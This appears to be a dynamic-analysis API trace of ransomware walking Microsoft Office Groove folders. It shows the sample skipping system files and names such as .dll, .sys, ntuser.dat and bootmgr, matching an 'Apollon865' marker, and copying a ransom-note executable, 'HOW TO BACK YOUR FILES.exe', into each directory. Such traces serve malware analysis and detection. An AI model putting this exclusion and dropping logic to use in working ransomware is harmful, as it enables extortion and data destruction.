	[0071.273] FindNextFileW (in: hFindFile=0x5ca250, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x428d7cf0, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x428d7cf0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0071.273] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0071.273] FindNextFileW (in: hFindFile=0x5ca250, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x81443a00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x709f1ef0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x81443a00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xab11, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="WSSFilesToolHomePageBackground.jpg", cAlternateFileName="WSSFIL~1.JPG")) returned 1
	[0071.273] lstrcmpiW (lpString1="WSSFilesToolHomePageBackground.jpg", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0071.273] lstrcmpiW (lpString1="WSSFilesToolHomePageBackground.jpg", lpString2="Apollon865.txt.exe") returned 1
	[0071.273] lstrcmpiW (lpString1="WSSFilesToolHomePageBackground.jpg", lpString2=".") returned 1
	[0071.273] lstrcmpiW (lpString1="WSSFilesToolHomePageBackground.jpg", lpString2="..") returned 1
	[0071.273] lstrcmpiW (lpString1="WSSFilesToolHomePageBackground.jpg", lpString2="windows") returned 1
	[0071.273] lstrcmpiW (lpString1="WSSFilesToolHomePageBackground.jpg", lpString2="bootmgr") returned 1
	[0071.273] lstrcmpiW (lpString1="WSSFilesToolHomePageBackground.jpg", lpString2="temp") returned 1
	[0071.273] lstrcmpiW (lpString1="WSSFilesToolHomePageBackground.jpg", lpString2="pagefile.sys") returned 1
	[0071.273] lstrcmpiW (lpString1="WSSFilesToolHomePageBackground.jpg", lpString2="boot") returned 1
	[0071.273] lstrcmpiW (lpString1="WSSFilesToolHomePageBackground.jpg", lpString2="ids.txt") returned 1
	[0071.273] lstrcmpiW (lpString1="WSSFilesToolHomePageBackground.jpg", lpString2="ntuser.dat") returned 1
	[0071.273] lstrcmpiW (lpString1="WSSFilesToolHomePageBackground.jpg", lpString2="perflogs") returned 1
	[0071.273] lstrcmpiW (lpString1="WSSFilesToolHomePageBackground.jpg", lpString2="MSBuild") returned 1
	[0071.273] lstrlenW (lpString="WSSFilesToolHomePageBackground.jpg") returned 34
	[0071.273] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\DocumentShare\\*") returned 85
	[0071.274] lstrcpyW (in: lpString1=0x2d3e5f8, lpString2="WSSFilesToolHomePageBackground.jpg" | out: lpString1="WSSFilesToolHomePageBackground.jpg") returned="WSSFilesToolHomePageBackground.jpg"
	[0071.274] lstrlenW (lpString="WSSFilesToolHomePageBackground.jpg") returned 34
	[0071.274] lstrlenW (lpString="Apollon865") returned 10
	[0071.274] lstrcmpiW (lpString1="ground.jpg", lpString2="Apollon865") returned 1
	[0071.274] lstrlenW (lpString=".dll") returned 4
	[0071.274] lstrcmpiW (lpString1="WSSFilesToolHomePageBackground.jpg", lpString2=".dll") returned 1
	[0071.274] lstrlenW (lpString=".lnk") returned 4
	[0071.274] lstrcmpiW (lpString1="WSSFilesToolHomePageBackground.jpg", lpString2=".lnk") returned 1
	[0071.274] lstrlenW (lpString=".ini") returned 4
	[0071.274] lstrcmpiW (lpString1="WSSFilesToolHomePageBackground.jpg", lpString2=".ini") returned 1
	[0071.274] lstrlenW (lpString=".sys") returned 4
	[0071.274] lstrcmpiW (lpString1="WSSFilesToolHomePageBackground.jpg", lpString2=".sys") returned 1
	[0071.274] lstrlenW (lpString="WSSFilesToolHomePageBackground.jpg") returned 34
	[0071.274] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Discussion", iMaxLength=260 | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Discussion") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Discussion"
	[0071.274] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5a3338 | out: hHeap=0x580000) returned 1
	[0071.274] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fe08 | out: hHeap=0x580000) returned 1
	[0071.274] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Discussion") returned 80
	[0071.274] lstrcatW (in: lpString1="", lpString2="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Discussion" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Discussion") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Discussion"
	[0071.274] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0071.274] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Discussion\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\discussion\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0071.282] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0071.282] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Discussion\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51e19d30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x428fde50, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x428fde50, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca250
	[0071.282] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0071.282] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0071.282] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0071.282] FindNextFileW (in: hFindFile=0x5ca250, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51e19d30, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x428fde50, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x428fde50, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0071.283] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0071.283] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0071.283] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0071.283] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0071.283] FindNextFileW (in: hFindFile=0x5ca250, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0009600, ftCreationTime.dwHighDateTime=0x1ca0588, ftLastAccessTime.dwLowDateTime=0x51e19d30, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb0009600, ftLastWriteTime.dwHighDateTime=0x1ca0588, nFileSizeHigh=0x0, nFileSizeLow=0x393c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="DiscussionToolIconImages.jpg", cAlternateFileName="DISCUS~1.JPG")) returned 1
	[0071.283] lstrcmpiW (lpString1="DiscussionToolIconImages.jpg", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0071.283] lstrcmpiW (lpString1="DiscussionToolIconImages.jpg", lpString2="Apollon865.txt.exe") returned 1
	[0071.283] lstrcmpiW (lpString1="DiscussionToolIconImages.jpg", lpString2=".") returned 1
	[0071.283] lstrcmpiW (lpString1="DiscussionToolIconImages.jpg", lpString2="..") returned 1
	[0071.283] lstrcmpiW (lpString1="DiscussionToolIconImages.jpg", lpString2="windows") returned -1
	[0071.283] lstrcmpiW (lpString1="DiscussionToolIconImages.jpg", lpString2="bootmgr") returned 1
	[0071.283] lstrcmpiW (lpString1="DiscussionToolIconImages.jpg", lpString2="temp") returned -1
	[0071.283] lstrcmpiW (lpString1="DiscussionToolIconImages.jpg", lpString2="pagefile.sys") returned -1
	[0071.283] lstrcmpiW (lpString1="DiscussionToolIconImages.jpg", lpString2="boot") returned 1
	[0071.283] lstrcmpiW (lpString1="DiscussionToolIconImages.jpg", lpString2="ids.txt") returned -1
	[0071.283] lstrcmpiW (lpString1="DiscussionToolIconImages.jpg", lpString2="ntuser.dat") returned -1
	[0071.283] lstrcmpiW (lpString1="DiscussionToolIconImages.jpg", lpString2="perflogs") returned -1
	[0071.283] lstrcmpiW (lpString1="DiscussionToolIconImages.jpg", lpString2="MSBuild") returned -1
	[0071.283] lstrlenW (lpString="DiscussionToolIconImages.jpg") returned 28
	[0071.283] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Discussion\\*") returned 82
	[0071.283] lstrcpyW (in: lpString1=0x2d3e5f2, lpString2="DiscussionToolIconImages.jpg" | out: lpString1="DiscussionToolIconImages.jpg") returned="DiscussionToolIconImages.jpg"
	[0071.283] lstrlenW (lpString="DiscussionToolIconImages.jpg") returned 28
	[0071.283] lstrlenW (lpString="Apollon865") returned 10
	[0071.283] lstrcmpiW (lpString1="Images.jpg", lpString2="Apollon865") returned 1
	[0071.283] lstrlenW (lpString=".dll") returned 4
	[0071.283] lstrcmpiW (lpString1="DiscussionToolIconImages.jpg", lpString2=".dll") returned 1
	[0071.283] lstrlenW (lpString=".lnk") returned 4
	[0071.283] lstrcmpiW (lpString1="DiscussionToolIconImages.jpg", lpString2=".lnk") returned 1
	[0071.283] lstrlenW (lpString=".ini") returned 4
	[0071.283] lstrcmpiW (lpString1="DiscussionToolIconImages.jpg", lpString2=".ini") returned 1
	[0071.283] lstrlenW (lpString=".sys") returned 4
	[0071.283] lstrcmpiW (lpString1="DiscussionToolIconImages.jpg", lpString2=".sys") returned 1
	[0071.283] lstrlenW (lpString="DiscussionToolIconImages.jpg") returned 28
	[0071.284] lstrcpyW (in: lpString1=0x2d3e5f2, lpString2="DiscussionToolIconImagesMask.bmp" | out: lpString1="DiscussionToolIconImagesMask.bmp") returned="DiscussionToolIconImagesMask.bmp"
	[0071.284] lstrlenW (lpString="DiscussionToolIconImagesMask.bmp") returned 32
	[0071.284] lstrlenW (lpString="Apollon865") returned 10
	[0071.284] lstrcmpiW (lpString1="esMask.bmp", lpString2="Apollon865") returned 1
	[0071.284] lstrlenW (lpString=".dll") returned 4
	[0071.284] lstrcmpiW (lpString1="DiscussionToolIconImagesMask.bmp", lpString2=".dll") returned 1
	[0071.284] lstrlenW (lpString=".lnk") returned 4
	[0071.284] lstrcmpiW (lpString1="DiscussionToolIconImagesMask.bmp", lpString2=".lnk") returned 1
	[0071.284] lstrlenW (lpString=".ini") returned 4
	[0071.284] lstrcmpiW (lpString1="DiscussionToolIconImagesMask.bmp", lpString2=".ini") returned 1
	[0071.284] lstrlenW (lpString=".sys") returned 4
	[0071.284] lstrcmpiW (lpString1="DiscussionToolIconImagesMask.bmp", lpString2=".sys") returned 1
	[0071.284] lstrlenW (lpString="DiscussionToolIconImagesMask.bmp") returned 32
	[0071.284] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Computers", iMaxLength=260 | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Computers") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Computers"
	[0071.284] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5cb078 | out: hHeap=0x580000) returned 1
	[0071.284] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fde8 | out: hHeap=0x580000) returned 1
	[0071.284] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Computers") returned 79
	[0071.284] lstrcatW (in: lpString1="", lpString2="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Computers" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Computers") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Computers"
	[0071.284] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0071.284] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Computers\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\computers\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0071.289] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0071.289] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Computers\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51cc30d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x428fde50, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x428fde50, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca250
	[0071.289] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0071.290] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0071.290] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0071.290] FindNextFileW (in: hFindFile=0x5ca250, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51cc30d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x428fde50, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x428fde50, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0071.290] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0071.290] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0071.290] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0071.290] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0071.290] FindNextFileW (in: hFindFile=0x5ca250, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x80130d00, ftCreationTime.dwHighDateTime=0x1c747ea, ftLastAccessTime.dwLowDateTime=0x60440c50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x80130d00, ftLastWriteTime.dwHighDateTime=0x1c747ea, nFileSizeHigh=0x0, nFileSizeLow=0xe1b, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="computericon.jpg", cAlternateFileName="COMPUT~1.JPG")) returned 1
	[0071.290] lstrcmpiW (lpString1="computericon.jpg", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0071.290] lstrcmpiW (lpString1="computericon.jpg", lpString2="Apollon865.txt.exe") returned 1
	[0071.290] lstrcmpiW (lpString1="computericon.jpg", lpString2=".") returned 1
	[0071.290] lstrcmpiW (lpString1="computericon.jpg", lpString2="..") returned 1
	[0071.290] lstrcmpiW (lpString1="computericon.jpg", lpString2="windows") returned -1
	[0071.290] lstrcmpiW (lpString1="computericon.jpg", lpString2="bootmgr") returned 1
	[0071.290] lstrcmpiW (lpString1="computericon.jpg", lpString2="temp") returned -1
	[0071.290] lstrcmpiW (lpString1="computericon.jpg", lpString2="pagefile.sys") returned -1
	[0071.290] lstrcmpiW (lpString1="computericon.jpg", lpString2="boot") returned 1
	[0071.290] lstrcmpiW (lpString1="computericon.jpg", lpString2="ids.txt") returned -1
	[0071.290] lstrcmpiW (lpString1="computericon.jpg", lpString2="ntuser.dat") returned -1
	[0071.290] lstrcmpiW (lpString1="computericon.jpg", lpString2="perflogs") returned -1
	[0071.290] lstrcmpiW (lpString1="computericon.jpg", lpString2="MSBuild") returned -1
	[0071.290] lstrlenW (lpString="computericon.jpg") returned 16
	[0071.290] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\Computers\\*") returned 81
	[0071.290] lstrcpyW (in: lpString1=0x2d3e5f0, lpString2="computericon.jpg" | out: lpString1="computericon.jpg") returned="computericon.jpg"
	[0071.290] lstrlenW (lpString="computericon.jpg") returned 16
	[0071.290] lstrlenW (lpString="Apollon865") returned 10
	[0071.290] lstrcmpiW (lpString1="ericon.jpg", lpString2="Apollon865") returned 1
	[0071.290] lstrlenW (lpString=".dll") returned 4
	[0071.290] lstrcmpiW (lpString1="computericon.jpg", lpString2=".dll") returned 1
	[0071.290] lstrlenW (lpString=".lnk") returned 4
	[0071.290] lstrcmpiW (lpString1="computericon.jpg", lpString2=".lnk") returned 1
	[0071.290] lstrlenW (lpString=".ini") returned 4
	[0071.290] lstrcmpiW (lpString1="computericon.jpg", lpString2=".ini") returned 1
	[0071.290] lstrlenW (lpString=".sys") returned 4
	[0071.290] lstrcmpiW (lpString1="computericon.jpg", lpString2=".sys") returned 1
	[0071.290] lstrlenW (lpString="computericon.jpg") returned 16
	[0071.291] lstrcpyW (in: lpString1=0x2d3e5f0, lpString2="computericonMask.bmp" | out: lpString1="computericonMask.bmp") returned="computericonMask.bmp"
	[0071.291] lstrlenW (lpString="computericonMask.bmp") returned 20
	[0071.291] lstrlenW (lpString="Apollon865") returned 10
	[0071.291] lstrcmpiW (lpString1="onMask.bmp", lpString2="Apollon865") returned 1
	[0071.291] lstrlenW (lpString=".dll") returned 4
	[0071.291] lstrcmpiW (lpString1="computericonMask.bmp", lpString2=".dll") returned 1
	[0071.291] lstrlenW (lpString=".lnk") returned 4
	[0071.291] lstrcmpiW (lpString1="computericonMask.bmp", lpString2=".lnk") returned 1
	[0071.291] lstrlenW (lpString=".ini") returned 4
	[0071.291] lstrcmpiW (lpString1="computericonMask.bmp", lpString2=".ini") returned 1
	[0071.291] lstrlenW (lpString=".sys") returned 4
	[0071.291] lstrcmpiW (lpString1="computericonMask.bmp", lpString2=".sys") returned 1
	[0071.291] lstrlenW (lpString="computericonMask.bmp") returned 20
	[0071.291] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData", iMaxLength=260 | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData"
	[0071.291] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5a3168 | out: hHeap=0x580000) returned 1
	[0071.291] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59fdc8 | out: hHeap=0x580000) returned 1
	[0071.291] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData") returned 80
	[0071.291] lstrcatW (in: lpString1="", lpString2="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData" | out: lpString1="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData") returned="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData"
	[0071.291] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0071.291] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\microsoft office\\office14\\groove\\tooldata\\groove.net\\commondata\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0071.297] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0071.297] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51317770, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x42923fb0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x42923fb0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca250
	[0071.297] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0071.297] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0071.297] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0071.297] FindNextFileW (in: hFindFile=0x5ca250, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x51317770, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x42923fb0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x42923fb0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0071.298] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0071.298] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0071.298] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0071.298] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0071.298] FindNextFileW (in: hFindFile=0x5ca250, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x633fe700, ftCreationTime.dwHighDateTime=0x1c95fc8, ftLastAccessTime.dwLowDateTime=0x5eb686b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x633fe700, ftLastWriteTime.dwHighDateTime=0x1c95fc8, nFileSizeHigh=0x0, nFileSizeLow=0x44c9, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="AlertImage_Auto.jpg", cAlternateFileName="ALERTI~3.JPG")) returned 1
	[0071.298] lstrcmpiW (lpString1="AlertImage_Auto.jpg", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0071.298] lstrcmpiW (lpString1="AlertImage_Auto.jpg", lpString2="Apollon865.txt.exe") returned -1
	[0071.298] lstrcmpiW (lpString1="AlertImage_Auto.jpg", lpString2=".") returned 1
	[0071.298] lstrcmpiW (lpString1="AlertImage_Auto.jpg", lpString2="..") returned 1
	[0071.298] lstrcmpiW (lpString1="AlertImage_Auto.jpg", lpString2="windows") returned -1
	[0071.298] lstrcmpiW (lpString1="AlertImage_Auto.jpg", lpString2="bootmgr") returned -1
	[0071.298] lstrcmpiW (lpString1="AlertImage_Auto.jpg", lpString2="temp") returned -1
	[0071.298] lstrcmpiW (lpString1="AlertImage_Auto.jpg", lpString2="pagefile.sys") returned -1
	[0071.298] lstrcmpiW (lpString1="AlertImage_Auto.jpg", lpString2="boot") returned -1
	[0071.298] lstrcmpiW (lpString1="AlertImage_Auto.jpg", lpString2="ids.txt") returned -1
	[0071.298] lstrcmpiW (lpString1="AlertImage_Auto.jpg", lpString2="ntuser.dat") returned -1
	[0071.298] lstrcmpiW (lpString1="AlertImage_Auto.jpg", lpString2="perflogs") returned -1
	[0071.298] lstrcmpiW (lpString1="AlertImage_Auto.jpg", lpString2="MSBuild") returned -1
	[0071.298] lstrlenW (lpString="AlertImage_Auto.jpg") returned 19
	[0071.298] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\Groove\\ToolData\\groove.net\\CommonData\\*") returned 82
	[0071.298] lstrcpyW (in: lpString1=0x2d3e5f2, lpString2="AlertImage_Auto.jpg" | out: lpString1="AlertImage_Auto.jpg") returned="AlertImage_Auto.jpg"
	[0071.298] lstrlenW (lpString="AlertImage_Auto.jpg") returned 19
	[0071.298] lstrlenW (lpString="Apollon865") returned 10
	[0071.298] lstrcmpiW (lpString1="e_Auto.jpg", lpString2="Apollon865") returned 1
	[0071.298] lstrlenW (lpString=".dll") returned 4
	[0071.298] lstrcmpiW (lpString1="AlertImage_Auto.jpg", lpString2=".dll") returned 1
	[0071.298] lstrlenW (lpString=".lnk") returned 4
	[0071.298] lstrcmpiW (lpString1="AlertImage_Auto.jpg", lpString2=".lnk") returned 1
	[0071.298] lstrlenW (lpString=".ini") returned 4
	[0071.298] lstrcmpiW (lpString1="AlertImage_Auto.jpg", lpString2=".ini") returned 1
	[0071.298] lstrlenW (lpString=".sys") returned 4
	[0071.298] lstrcmpiW (lpString1="AlertImage_Auto.jpg", lpString2=".sys") returned 1
	[0071.298] lstrlenW (lpString="AlertImage_Auto.jpg") returned 19
	[0071.299] lstrcpyW (in: lpString1=0x2d3e5f2, lpString2="AlertImage_AutoMask.bmp" | out: lpString1="AlertImage_AutoMask.bmp") returned="AlertImage_AutoMask.bmp"
	[0071.299] lstrlenW (lpString="AlertImage_AutoMask.bmp") returned 23
	[0071.299] lstrlenW (lpString="Apollon865") returned 10
	[0071.299] lstrcmpiW (lpString1="toMask.bmp", lpString2="Apollon865") returned 1
	[0071.299] lstrlenW (lpString=".dll") returned 4
	[0071.299] lstrcmpiW (lpString1="AlertImage_AutoMask.bmp", lpString2=".dll") returned 1
	[0071.299] lstrlenW (lpString=".lnk") returned 4
	[0071.299] lstrcmpiW (lpString1="AlertImage_AutoMask.bmp", lpString2=".lnk") returned 1
	[0071.299] lstrlenW (lpString=".ini") returned 4
	[0071.299] lstrcmpiW (lpString1="AlertImage_AutoMask.bmp", lpString2=".ini") returned 1
	[0071.299] lstrlenW (lpString=".sys") returned 4
	[0071.299] lstrcmpiW (lpString1="AlertImage_AutoMask.bmp", lpString2=".sys") returned 1
	[0071.299] lstrlenW (lpString="AlertImage_AutoMask.bmp") returned 23
	[0071.299] lstrcpyW (in: lpString1=0x2d3e5f2, lpString2="AlertImage_ContactHigh.jpg" | out: lpString1="AlertImage_ContactHigh.jpg") returned="AlertImage_ContactHigh.jpg"
	[0071.299] lstrlenW (lpString="AlertImage_ContactHigh.jpg") returned 26
	[0071.299] lstrlenW (lpString="Apollon865") returned 10
	[0071.299] lstrcmpiW (lpString1="ctHigh.jpg", lpString2="Apollon865") returned 1
	[0071.299] lstrlenW (lpString=".dll") returned 4
	[0071.299] lstrcmpiW (lpString1="AlertImage_ContactHigh.jpg", lpString2=".dll") returned 1
	[0071.299] lstrlenW (lpString=".lnk") returned 4
	[0071.299] lstrcmpiW (lpString1="AlertImage_ContactHigh.jpg", lpString2=".lnk") returned 1
	[0071.299] lstrlenW (lpString=".ini") returned 4
	[0071.299] lstrcmpiW (lpString1="AlertImage_ContactHigh.jpg", lpString2=".ini") returned 1
	[0071.299] lstrlenW (lpString=".sys") returned 4
